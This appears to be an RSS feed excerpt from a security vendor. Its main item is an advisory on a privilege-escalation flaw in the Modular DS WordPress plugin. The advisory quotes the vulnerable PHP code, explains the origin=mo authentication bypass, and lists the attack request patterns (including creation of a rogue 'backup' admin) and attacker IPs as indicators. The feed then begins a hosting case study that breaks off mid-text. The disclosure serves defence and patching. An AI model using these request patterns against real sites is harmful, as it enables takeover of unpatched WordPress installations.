            &lt;p class=&quot;general-card__text&quot;&gt;Report vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.&lt;/p&gt;
            &lt;a href=&quot;/bug-bounty/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Learn more&lt;/a&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;</content:encoded><category>Featured</category><category>Security Advisories</category><author>Rafie Muhammad</author></item><item><title>Critical Privilege Escalation Vulnerability in Modular DS plugin affecting 40k+ Sites exploited in the wild</title><link>https://patchstack.com/articles/critical-privilege-escalation-vulnerability-in-modular-ds-plugin-affecting-40k-sites-exploited-in-the-wild/</link><guid isPermaLink="true">https://patchstack.com/articles/critical-privilege-escalation-vulnerability-in-modular-ds-plugin-affecting-40k-sites-exploited-in-the-wild/</guid><description>This blog post is about an Unauthenticated Privilege Escalation vulnerability in the Modular DS plugin. Patchstack has issued a mitigation rule to protect against exploitation of this vulnerability. If you’re a Modular DS user, please update to at least version 2.6.0. This vulnerability was discovered and reported to Patchstack by Teemu Saarentaus from group.one. Update 16 […]
</description><pubDate>Wed, 14 Jan 2026 12:26:54 GMT</pubDate><content:encoded>
&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;





&lt;p class=&quot;wp-block-paragraph&quot;&gt;This blog post is about an Unauthenticated Privilege Escalation vulnerability in the Modular DS plugin. Patchstack has issued a mitigation rule to protect against exploitation of this vulnerability. If you’re a Modular DS user, please update to at least version &lt;strong&gt;2.6.0.&lt;/strong&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;em&gt;This vulnerability was discovered and reported to Patchstack by  &lt;a href=&quot;https://patchstack.com/database/researchers/1640f775-1b11-48cb-89a5-23952259b650&quot;&gt;Teemu Saarentaus&lt;/a&gt;&lt;/em&gt; from &lt;a href=&quot;https://group.one/&quot;&gt;group.one&lt;/a&gt;.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;strong&gt;Update 16 Jan 2026&lt;/strong&gt;&lt;br&gt;An additional exploit path was discovered that is being &lt;em&gt;&lt;strong&gt;actively exploited&lt;/strong&gt;&lt;/em&gt;, this occurred due to another piece of code that sets the authentication of the current user to that of an administrator allowing the execution of any WordPress REST route under the admin privilege. The exploitation attempts that we have seen consists of the creation of an administrator user on the website, typically under the username &lt;em&gt;backup&lt;/em&gt; with email &lt;em&gt;backup@wordpress.com&lt;/em&gt; and &lt;em&gt;backup1@wordpress.com&lt;/em&gt;.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Patchstack has deployed a mitigation rule for this as well as a &lt;a href=&quot;https://patchstack.com/database/wordpress/plugin/modular-connector/vulnerability/wordpress-modular-ds-plugin-2-5-2-privilege-escalation-vulnerability&quot;&gt;vulnerability entry&lt;/a&gt; under &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-23800&quot;&gt;CVE 2026-23800&lt;/a&gt;, more IOC/IOA’s have been added further down in this blog post.&lt;br&gt;&lt;br&gt;Again, much credit to the Modular DS team for quickly tackling this and their great communication by releasing a version &lt;strong&gt;2.6.0 &lt;/strong&gt;that resolves this new vulnerability.&lt;/p&gt;


&lt;div class=&quot;block-vuln-cta wp-block-patchstack-general-blocks-vuln-cta&quot;&gt;
    &lt;p class=&quot;block-vuln-cta__title&quot;&gt;✌️ Our users are protected from this vulnerability. Are yours?&lt;/p&gt;
    &lt;div class=&quot;blocks-container--center blocks-grid--3&quot;&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Web developers&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Mitigate vulnerabilities in real-time without changing code.&lt;/p&gt;
            &lt;a href=&quot;/pricing/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;See pricing&lt;/a&gt;
        &lt;/div&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Plugin developers&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Identify vulnerabilities in your plugins and get recommendations for fixes.&lt;/p&gt;
            &lt;a href=&quot;/auditing/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Request audit&lt;/a&gt;
        &lt;/div&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Hosting companies&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Protect your users, improve server health and earn additional revenue.&lt;/p&gt;
            &lt;a href=&quot;/for-hosts/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Patchstack for hosts&lt;/a&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;


&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;About the Modular DS plugin&lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Modular DS is a plugin developed by &lt;a href=&quot;https://modulards.com/&quot;&gt;modulards.com&lt;/a&gt;, which has over 40,000 active installs. Its goal is to help managing multiple WordPress websites, including monitoring, updating, as well as performing various tasks remotely.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image aligncenter size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;1347&quot; height=&quot;844&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/modular-ds-screenshot.png&quot; alt=&quot;&quot; class=&quot;wp-image-25088&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/modular-ds-screenshot.png 1347w, https://wp.patchstack.com/wp-content/uploads/2026/01/modular-ds-screenshot-300x188.png 300w, https://wp.patchstack.com/wp-content/uploads/2026/01/modular-ds-screenshot-1024x642.png 1024w, https://wp.patchstack.com/wp-content/uploads/2026/01/modular-ds-screenshot-768x481.png 768w&quot; sizes=&quot;auto, (max-width: 1347px) 100vw, 1347px&quot; /&gt;&lt;/figure&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;The security vulnerability&lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;In versions &lt;strong&gt;2.5.1&lt;/strong&gt; and below, the plugin is vulnerable to privilege escalation, due to a combination of factors including direct route selection, bypassing of authentication mechanisms, and auto-login as admin.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;To provide some context, the plugin exposes its routes through a Laravel-like router under the &lt;code&gt;/api/modular-connector/&lt;/code&gt; prefix in &lt;em&gt;src/app/Providers/RouteServiceProvider.php&lt;/em&gt;, &lt;em&gt;boot()&lt;/em&gt;.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The sensitive routes are grouped under a &lt;code&gt;Route::middleware(&apos;auth&apos;)&lt;/code&gt; group, which is supposed to enforce authentication. However, it turned out to be possible to bypass it because the mechanism ultimately relies on a flawed &lt;code&gt;isDirectRequest()&lt;/code&gt; method (&lt;em&gt;vendor/ares/framework/src/Foundation/Http/HttpUtils.php&lt;/em&gt;) that bypasses authentication when the “direct request” mode is activated.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;This mode can be enabled simply by supplying an &lt;strong&gt;origin&lt;/strong&gt; parameter set to &lt;em&gt;“mo”&lt;/em&gt; and a &lt;strong&gt;type&lt;/strong&gt; parameter set to any value.&lt;/p&gt;



&lt;pre title=&quot;vendor/ares/framework/src/Foundation/Http/HttpUtils.php&quot; class=&quot;wp-block-code has-small-font-size&quot;&gt;&lt;code lang=&quot;php&quot; class=&quot;language-php&quot;&gt;public static function isDirectRequest(): bool
    {
        $request = \Modular\ConnectorDependencies\app(&amp;#39;request&amp;#39;);
        $userAgent = $request-&amp;gt;header(&amp;#39;User-Agent&amp;#39;);
        $userAgentMatches = $userAgent &amp;amp;&amp;amp; Str::is(&amp;#39;ModularConnector/* (Linux)&amp;#39;, $userAgent);
        $originQuery = $request-&amp;gt;has(&amp;#39;origin&amp;#39;) &amp;amp;&amp;amp; $request-&amp;gt;get(&amp;#39;origin&amp;#39;) === &amp;#39;mo&amp;#39;;
        $isFromQuery = ($originQuery || $userAgentMatches) &amp;amp;&amp;amp; $request-&amp;gt;has(&amp;#39;type&amp;#39;);
        // When is wp-load.php request
        if ($isFromQuery) {
            return 	rue;
        }
        // TODO Now we use Laravel routes but we can&amp;#39;t directly use the routes
        $isFromSegment = \false &amp;amp;&amp;amp; $request-&amp;gt;segment(1) === &amp;#39;api&amp;#39; &amp;amp;&amp;amp; $request-&amp;gt;segment(2) === &amp;#39;modular-connector&amp;#39;;
        if ($isFromSegment) {
            return 	rue;
        }
        return \false;
    }&lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;There is no verification of a signature, secret, IP, or mandatory User-Agent: the simple pair &lt;strong&gt;origin=mo&amp;amp;type=xxx&lt;/strong&gt; is enough for the request to be considered as a Modular direct request.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;As well, when the request is considered “direct”, the auth middleware in &lt;em&gt;vendor/ares/framework/src/Foundation/Auth/ModularGuard.php&lt;/em&gt; only checks if the site is connected to Modular via the &lt;code&gt;validateOrRenewAccessToken()&lt;/code&gt; function.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Therefore, &lt;strong&gt;as soon as the site has already been connected to Modular&lt;/strong&gt; (tokens present/renewable), anyone can pass the auth middleware: there is no cryptographic link between the incoming request and Modular itself. This exposes several routes, including &lt;em&gt;/login/, /server-information/, /manager/&lt;/em&gt; and &lt;em&gt;/backup/&lt;/em&gt;, which allow various actions to be performed, ranging from remote login to obtaining sensitive system or user data.&lt;/p&gt;



&lt;pre title=&quot;/src/routes/api.php&quot; class=&quot;wp-block-code has-small-font-size&quot;&gt;&lt;code lang=&quot;php&quot; class=&quot;language-php&quot;&gt;Route::middleware(&amp;#39;auth&amp;#39;)
    -&amp;gt;group(function () {
        Route::get(&amp;#39;/login/{modular_request}&amp;#39;, [AuthController::class, &amp;#39;getLogin&amp;#39;])
            -&amp;gt;name(&amp;#39;login&amp;#39;);

        Route::get(&amp;#39;/users/{modular_request}&amp;#39;, [AuthController::class, &amp;#39;getUsers&amp;#39;])
            -&amp;gt;name(&amp;#39;manager.users.index&amp;#39;);

        Route::get(&amp;#39;/server-information&amp;#39;, [ServerController::class, &amp;#39;getInformation&amp;#39;])
            -&amp;gt;name(&amp;#39;manager.server.information&amp;#39;);

       [...]

        #region Cache
        Route::get(&amp;#39;/cache/clear&amp;#39;, [CacheController::class, &amp;#39;clear&amp;#39;])
            -&amp;gt;name(&amp;#39;manager.cache.clear&amp;#39;);
        #endregion

        #region Manager
        Route::get(&amp;#39;/manager/{modular_request}&amp;#39;, [ManagerController::class, &amp;#39;index&amp;#39;])
            -&amp;gt;name(&amp;#39;manager.update&amp;#39;);

        Route::get(&amp;#39;/manager/{modular_request}/install&amp;#39;, [ManagerController::class, &amp;#39;store&amp;#39;])
            -&amp;gt;name(&amp;#39;manager.install&amp;#39;);

        [...]

        Route::get(&amp;#39;/manager/{modular_request}/delete&amp;#39;, [ManagerController::class, &amp;#39;update&amp;#39;])
            -&amp;gt;name(&amp;#39;manager.delete&amp;#39;);
        #endregion


        # region Safe Upgrade
        Route::get(&amp;#39;/manager/{modular_request}/safe-upgrade/backup&amp;#39;, [SafeUpgradeController::class, &amp;#39;getSafeUpgradeBackup&amp;#39;])
            -&amp;gt;name(&amp;#39;manager.safe-upgrade.backup&amp;#39;);

[...]

        Route::get(&amp;#39;/manager/{modular_request}/safe-upgrade/rollback&amp;#39;, [SafeUpgradeController::class, &amp;#39;getSafeUpgradeRollback&amp;#39;])
            -&amp;gt;name(&amp;#39;manager.safe-upgrade.rollback&amp;#39;);
        # endregion

        #region Backup
        Route::get(&amp;#39;/tree/directory/{modular_request}&amp;#39;, [BackupController::class, &amp;#39;getDirectoryTree&amp;#39;])
            -&amp;gt;name(&amp;#39;manager.directory.tree&amp;#39;);

       [...]

        Route::get(&amp;#39;/woocommerce/{modular_request}&amp;#39;, WooCommerceController::class)
            -&amp;gt;name(&amp;#39;manager.woocommerce.stats&amp;#39;);
    });&lt;/code&gt;&lt;/pre&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;Focus on the /login/{modular_request} route giving an unauthenticated access to wp-admin&lt;/strong&gt; &lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;In the controller &lt;em&gt;src/app/Http/Controllers/AuthController.php&lt;/em&gt;, method&lt;br&gt;&lt;code&gt;getLogin(SiteRequest $modularRequest)&lt;/code&gt;, the code attempts to read a user ID from the body of &lt;code&gt;$modularRequest&lt;/code&gt;. If this is empty, it falls back to getting &lt;strong&gt;existing admin&lt;/strong&gt; or super admin users via &lt;code&gt;getAdminUser()&lt;/code&gt;, then logs in as that user and returns an admin redirect.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Since this code can be accessed by unauthenticated users because of the flaw previously explained, it allows &lt;strong&gt;an immediate privilege escalation.&lt;/strong&gt;&lt;/p&gt;



&lt;pre title=&quot;src/app/Http/Controllers/AuthController.php&quot; class=&quot;wp-block-code has-small-font-size&quot;&gt;&lt;code lang=&quot;php&quot; class=&quot;language-php&quot;&gt;public function getLogin(SiteRequest $modularRequest)
    {
        $user = data_get($modularRequest-&amp;gt;body, &amp;#39;id&amp;#39;);

        if (!empty($user)) {
            $user = get_user_by(&amp;#39;id&amp;#39;, $user);
        }

        if (empty($user)) {
            Cache::driver(&amp;#39;wordpress&amp;#39;)-&amp;gt;forget(&amp;#39;user.login&amp;#39;);

            $user = ServerSetup::getAdminUser();
        } else {
            Cache::driver(&amp;#39;wordpress&amp;#39;)-&amp;gt;forever(&amp;#39;user.login&amp;#39;, $user-&amp;gt;ID);
        }

        if (empty($user)) {
            // TODO Make a custom exception
            throw new \Exception(&amp;#39;No admin user detected.&amp;#39;);
        }

        $cookies = ServerSetup::loginAs($user, true);

        return Response::redirectTo(admin_url(&amp;#39;index.php&amp;#39;))
            -&amp;gt;withCookies($cookies);
    }&lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;This vulnerability has been patched in version &lt;strong&gt;2.5.2&lt;/strong&gt; and is tracked with &lt;strong&gt;CVE-2026-23550&lt;/strong&gt;.&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading has-text-align-left&quot;&gt;&lt;strong&gt;The patch&lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;In version &lt;strong&gt;2.5.1&lt;/strong&gt;, the route was first matched based on the attacker-controlled URL. So if an attacker called&lt;br&gt;&lt;em&gt;/api/modular-connector/login/anything?&lt;/em&gt;…, the router would naturally resolve the &lt;em&gt;login/{modular_request}&lt;/em&gt; route and pass it to the filter. Then, in &lt;code&gt;RouteServiceProvider::bindOldRoutes()&lt;/code&gt;, if type was not recognized (e.g. foo), the code would not fall back to any alternative route and would simply return the original route (&lt;em&gt;/login/&lt;/em&gt;…).&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;In version &lt;strong&gt;2.5.2&lt;/strong&gt;, URL-based route matching &lt;strong&gt;has been removed&lt;/strong&gt;. The router no longer matches routes for this subsystem based on the requested path and route selection is now entirely driven by the filter logic.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image aligncenter size-large&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;1024&quot; height=&quot;362&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/modular-connector-patch-1024x362.png&quot; alt=&quot;&quot; class=&quot;wp-image-25085&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/modular-connector-patch-1024x362.png 1024w, https://wp.patchstack.com/wp-content/uploads/2026/01/modular-connector-patch-300x106.png 300w, https://wp.patchstack.com/wp-content/uploads/2026/01/modular-connector-patch-768x272.png 768w, https://wp.patchstack.com/wp-content/uploads/2026/01/modular-connector-patch.png 1216w&quot; sizes=&quot;auto, (max-width: 1024px) 100vw, 1024px&quot; /&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;As well, a default route pointing to an error 404 was added in &lt;em&gt;src/routes/api.php&lt;/em&gt;. In  &lt;em&gt;src/app/Providers/RouteServiceProvider.php&lt;/em&gt;, &lt;code&gt;bindOldRoutes()&lt;/code&gt; was &lt;strong&gt;refactored&lt;/strong&gt;: its signature changed (it no longer receives &lt;code&gt;$route&lt;/code&gt;), it now retrieves the available routes, and binds it to the current request with a default fallback.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image aligncenter size-large&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;1024&quot; height=&quot;260&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/modular-connector-patch3-1024x260.png&quot; alt=&quot;&quot; class=&quot;wp-image-25087&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/modular-connector-patch3-1024x260.png 1024w, https://wp.patchstack.com/wp-content/uploads/2026/01/modular-connector-patch3-300x76.png 300w, https://wp.patchstack.com/wp-content/uploads/2026/01/modular-connector-patch3-768x195.png 768w, https://wp.patchstack.com/wp-content/uploads/2026/01/modular-connector-patch3.png 1216w&quot; sizes=&quot;auto, (max-width: 1024px) 100vw, 1024px&quot; /&gt;&lt;/figure&gt;



&lt;figure class=&quot;wp-block-image aligncenter size-large&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;1024&quot; height=&quot;260&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/modular-connector-patch2-1024x260.png&quot; alt=&quot;&quot; class=&quot;wp-image-25086&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/modular-connector-patch2-1024x260.png 1024w, https://wp.patchstack.com/wp-content/uploads/2026/01/modular-connector-patch2-300x76.png 300w, https://wp.patchstack.com/wp-content/uploads/2026/01/modular-connector-patch2-768x195.png 768w, https://wp.patchstack.com/wp-content/uploads/2026/01/modular-connector-patch2.png 1216w&quot; sizes=&quot;auto, (max-width: 1024px) 100vw, 1024px&quot; /&gt;&lt;/figure&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Only afterwards, if the request is a “direct request” and if type is recognized (request, oauth, lb), it replaces &lt;em&gt;$route&lt;/em&gt; with an allowed route (by name) and binds it. Otherwise, &lt;strong&gt;the code stays on the default route, which results in a 404.&lt;/strong&gt;&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;Indicators of  Attack &amp;amp; Compromise (IOA/IOC) &lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;According to WP.one Support Engineer’s team, first attacks were detected on January 13th around 2AM UTC0.  The pattern is a GET call to &lt;strong&gt;/api/modular-connector/login/&lt;/strong&gt;, with &lt;em&gt;origin&lt;/em&gt; parameter set to “mo” and &lt;em&gt;type&lt;/em&gt; set to “foo”.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Following Patchstack mitigation rule deployment, &lt;strong&gt;we immediately noticed exploitation attempts&lt;/strong&gt; matching the same patterns on our client’s sites.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;When successfully logged in through the flaw, the attacker then attempts to create a new “PoC Admin” &lt;strong&gt;WordPress administrator user&lt;/strong&gt;, using a username containing “admin” and a bogus email address.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;So far, we have identified the following attacking IP addresses:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;45.11.89.19&lt;/li&gt;



&lt;li&gt;185.196.0.11&lt;/li&gt;



&lt;li&gt;64.188.91.37&lt;/li&gt;
&lt;/ul&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;New IOA/IOC for the second vulnerability:&lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Request path looking like &lt;strong&gt;/?rest_route=/wp/v2/users&amp;amp;origin=mo&amp;amp;type=x&lt;/strong&gt; where the user agent is often &lt;strong&gt;firefox&lt;/strong&gt; and a body payload is provided with a parameter &lt;em&gt;username &lt;/em&gt;containing &lt;strong&gt;backup &lt;/strong&gt;and &lt;em&gt;email &lt;/em&gt;parameter containing &lt;strong&gt;backup@wordpress.com&lt;/strong&gt; or &lt;strong&gt;backup1@wordpress.com&lt;/strong&gt;.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;We have identified the following attacking IP addresses:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;62.60.131.161&lt;/li&gt;



&lt;li&gt;185.102.115.27&lt;/li&gt;
&lt;/ul&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;This vulnerability highlights how dangerous &lt;strong&gt;implicit trust in internal request paths&lt;/strong&gt; can be when exposed to the public internet. In this case, the issue was not caused by a single bug, but by &lt;strong&gt;several design choices combined together&lt;/strong&gt;: URL-based route matching, a permissive “direct request” mode, authentication based only on the site connection state, and a login flow that automatically &lt;strong&gt;falls back to an administrator account.&lt;/strong&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;When these elements are chained, an unauthenticated attacker can reach a sensitive internal route and trigger an admin login, leading to a &lt;strong&gt;full site compromise.&lt;/strong&gt; The fact that exploitation was &lt;strong&gt;seen in the wild&lt;/strong&gt; shortly after mitigation rules were deployed confirms that this flaw is actively abused.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;This case shows that internal or inter-service features should never be reachable without &lt;strong&gt;strong validation&lt;/strong&gt; of where the request comes from. Authentication should verify the requester itself, not just whether the site is connected, and routing decisions should not depend on &lt;strong&gt;attacker-controlled parameters.&lt;/strong&gt;&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;Want to learn more about finding and fixing vulnerabilities?&lt;/h2&gt;












&lt;div class=&quot;block-vuln-cta wp-block-patchstack-general-blocks-vuln-cta-end&quot;&gt;
    &lt;p class=&quot;block-vuln-cta__title&quot;&gt;🤝 You can help us make the Internet a safer place&lt;/p&gt;
    &lt;div class=&quot;blocks-container--center blocks-grid--3&quot;&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Plugin developer?&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.&lt;/p&gt;
            &lt;a href=&quot;/for-plugins/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Get started for free&lt;/a&gt;
        &lt;/div&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Hosting company?&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Protect your users too! Improve server health and earn added revenue with proactive security.&lt;/p&gt;
            &lt;a href=&quot;/for-hosts/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Patchstack for hosts&lt;/a&gt;
        &lt;/div&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Security researcher?&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Report vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.&lt;/p&gt;
            &lt;a href=&quot;/bug-bounty/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Learn more&lt;/a&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;</content:encoded><category>Featured</category><category>Security Advisories</category><author>Edouard</author></item><item><title>Case study: How Libya’s Leading Host – Libyan Spider – Blocked 65k+ Threats with Patchstack</title><link>https://patchstack.com/articles/case-study-how-libyas-leading-host-libyan-spider-blocked-65k-threats-with-patchstack/</link><guid isPermaLink="true">https://patchstack.com/articles/case-study-how-libyas-leading-host-libyan-spider-blocked-65k-threats-with-patchstack/</guid><description>As Libya’s leading hosting and domain provider, Libyan Spider supports a rapidly growing WordPress ecosystem. Following national compliance trends and market demand encouraging businesses to establish an online presence, the company saw a sharp increase in WordPress installations, many managed by non-technical users. While this growth unlocked new opportunities, it also expanded Libyan Spider’s security […]
</description><pubDate>Thu, 08 Jan 2026 13:09:42 GMT</pubDate><content:encoded>&lt;div class=&quot;blocks-grid--3 wp-block-patchstack-general-blocks-grid-3&quot;&gt;
    
&lt;div class=&quot;a-fade-up blocks-number-block  wp-block-patchstack-general-blocks-number-block&quot;&gt;
            &lt;p class=&quot;blocks-number-block__number&quot;&gt;65K+&lt;/p&gt;
        &lt;p class=&quot;blocks-number-block__text&quot;&gt;Threats blocked by Patchstack in a few months across 410 sites&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p class=&quot;wp-block-paragraph&quot;&gt;As Libya’s leading hosting and domain provider, &lt;a href=&quot;https://libyanspider.com/&quot;&gt;Libyan Spider&lt;/a&gt; supports a rapidly growing WordPress ecosystem. Following national compliance trends and market demand encouraging businesses to establish an online presence, the company saw a sharp increase in WordPress installations, many managed by non-technical users.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;While this growth unlocked new opportunities, it also expanded &lt;strong&gt;Libyan Spider’s security responsibilities.&lt;/strong&gt; To maintain customer trust, meet ISO 27001 requirements, and protect WordPress sites at scale, Libyan Spider turned to Patchstack.&lt;/p&gt;


&lt;div class=&quot;block-single-testimonial-wrapper  wp-block-patchstack-general-blocks-single-testimonial&quot;&gt;
                                    &lt;/div&gt;

&lt;div class=&quot;blocks-quote wp-block-patchstack-general-blocks-quote&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;32&quot; height=&quot;32&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;blocks-quote__icon&quot;&gt;
        &lt;!-- Icon from Remix Icon by Remix Design - https://github.com/Remix-Design/RemixIcon/blob/master/License --&gt;
        &lt;path fill=&quot;currentColor&quot; d=&quot;M4.583 17.321C3.553 16.227 3 15 3 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179m10 0C13.553 16.227 13 15 13 13.011c0-3.5 2.457-6.637 6.03-8.188l.893 1.378c-3.335 1.804-3.987 4.145-4.247 5.621c.537-.278 1.24-.375 1.929-.311c1.804.167 3.226 1.648 3.226 3.489a3.5 3.5 0 0 1-3.5 3.5a3.87 3.87 0 0 1-2.748-1.179&quot;/&gt;
    &lt;/svg&gt;
    &lt;p class=&quot;blocks-quote__text&quot;&gt;Patchstack blocked 65k+ threats across 410 websites in just a few months. And in the future, we plan to make it a part of our default onboarding flow for even stronger security.&lt;/p&gt;
    &lt;p class=&quot;blocks-quote__author&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;200&quot; height=&quot;200&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/images.jpeg&quot; class=&quot;wp-image-25054&quot; alt=&quot;Mohamed Ayad&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2026/01/images.jpeg 200w, https://wp.patchstack.com/wp-content/uploads/2026/01/images-150x150.jpeg 150w&quot; sizes=&quot;auto, (max-width: 200px) 100vw, 200px&quot; /&gt;&lt;span&gt;— &lt;span&gt;Mohamed Ayad, CEO @ Libyan Spider&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;


&lt;h2 class=&quot;wp-block-heading&quot;&gt;The challenge: Rapid WordPress adoption expands the attack surface&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;While the underlying vulnerabilities existed on customer-managed WordPress sites, the rapid growth of WordPress installations meant &lt;strong&gt;the operational burden fell on Libyan Spider,&lt;/strong&gt; driving more support cases and a stronger need for proactive protection. &lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Many customer websites relied on outdated plugins and themes, followed inconsistent update practices, and lacked a clear understanding of WordPress security responsibilities. &lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;At a hosting scale, these &lt;strong&gt;gaps quickly turned into operational challenges:&lt;/strong&gt;&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Recurring vulnerabilities in customer-managed WordPress sites&lt;/li&gt;



&lt;li&gt;Difficulty enforcing consistent security across shared hosting environments&lt;/li&gt;



&lt;li&gt;Limited visibility into which plugins exposed customer sites to risk&lt;/li&gt;



&lt;li&gt;The need for a scalable, automated security layer to support ISO 27001-aligned controls&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Before Patchstack, WordPress security incidents directly affected both operations and customer experience. Support teams faced a growing volume of vulnerability-related tickets and spent significant time investigating incidents on shared hosting accounts. Meanwhile, &lt;strong&gt;customers grew frustrated&lt;/strong&gt;, often unaware that they needed to take action to keep sites secure.&lt;/p&gt;



